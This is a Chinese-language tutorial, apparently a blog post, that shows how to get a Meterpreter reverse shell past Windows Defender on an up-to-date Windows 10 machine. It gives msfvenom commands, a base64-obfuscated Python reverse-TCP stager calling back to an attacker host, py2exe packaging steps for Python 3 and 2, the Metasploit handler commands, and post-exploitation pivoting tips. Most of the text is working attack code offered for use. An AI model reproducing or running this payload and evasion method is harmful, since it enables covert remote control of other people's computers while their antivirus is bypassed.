大家好 今天,我们将考虑在具有最新补丁程序(包括Windows Defender)的Windows 10计算机上运行Meterpreter会话的选项。 我们还将绕过防病毒软件。 Meterpreter是一种高级的多功能填充(有效负载,负载),可以在运行时动态扩展。 在正常情况下,这为您提供了基本的外壳程序,并允许您根据需要向其添加新功能。
我们将使用Python进行此操作,并查看防病毒工具的行为。
预测以下问题:“我们是否需要在受害者计算机上运行exe的Python?”,我将立即回答-不,不需要,所有内容都已包含在内。
在本文中,我们将使用:
- 具有Windows Defender的Windows 10启用了更新的数据库(受害者计算机192.168.1.113);
- Kali Linux用于使用metasploit和msfvenom(192.168.1.126);
- Windows 10,用于将二进制文件(在我们的实验室中与受害者的计算机匹配)与已安装的二进制文件组装在一起;
- Python (3,但我们还将看到2);
- py2exe 。
首先,我们概述了问题:我们创建一个具有标准负载的exe文件,将其复制到受害者的计算机上,看看会导致什么。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f exe > hunt.exe
我们从我们的老友Windows Defender那里收到警告,我们都非常喜欢他。
如果我们询问VirusTotal,他将说以下内容:

让我们运行Python并完成所有工作。
Python / meterpreter / reverse_tcp是一个独特的跨平台有效负载Metasploit框架,可让您远程控制受感染的计算机。 无需考虑选择哪个平台,它就可以在任何平台上运行,但是在这种情况下,我们将从Windows为其创建可执行文件。
首先,安装py2exe软件包,该软件包可让您从Python脚本制作Windows可执行文件。
我们将拥有Python 3.4(以上所有功能均不支持py2exe)。
py -3.4 –m pip install py2exe
或
pip install py2exe
接下来,创建扩展名为.py的原始Python代码。
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f raw > hunt.py
同样在msfvenom的输出中,我们需要添加getpass导入,他忘了自己做。 最后,结果应该是这样的:
import getpass,base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4xMjYnLDkwMDEpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))
现在我们准备创建二进制文件。
python34 -m py2exe.build_exe hunt.py --bundle-files 0
您应该获得以下信息:

让我们再来看VirusTotal:

更好的是,现在让我们对其进行检查-将其复制到受害者的计算机后,我们将不会发出警报。
并行地,通过依次运行以下命令来运行我们的msf和python处理程序:
msfconsole use exploit/multi/handler set PAYLOAD python/meterpreter/reverse_tcp set lhost 192.168.1.126 set lport 9001 run

让我们继续并确保会话正常运行。

因此,会话已启动,Windows Defender无法正常运行,这正是我们的目标。
同时,让我们看看如果您拥有Python 2nd版本该怎么办。
- 下载适用于python 2的py2exe
- 生成带有.py扩展名的有效负载
- 我们创建setup.py文件,并在其中写入以下内容:
from distutils.core import setup import py2exe setup( name = 'Meter', description = 'Python-based App', version = '1.0', console=['hunt.py'], options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}}, zipfile = None, )
python.exe .\setup.py py2exe
一切都应该一样。
结果,我注意到python meterpreter外壳的功能不如更熟悉的Windows meterpreter。 例如,您将无法迁移到进程或使用诸如getsystem之类的命令,但这仍然是一个真正的选择:让会话与msf一起使用(至少是路由和portfwd),然后继续在网络内部工作。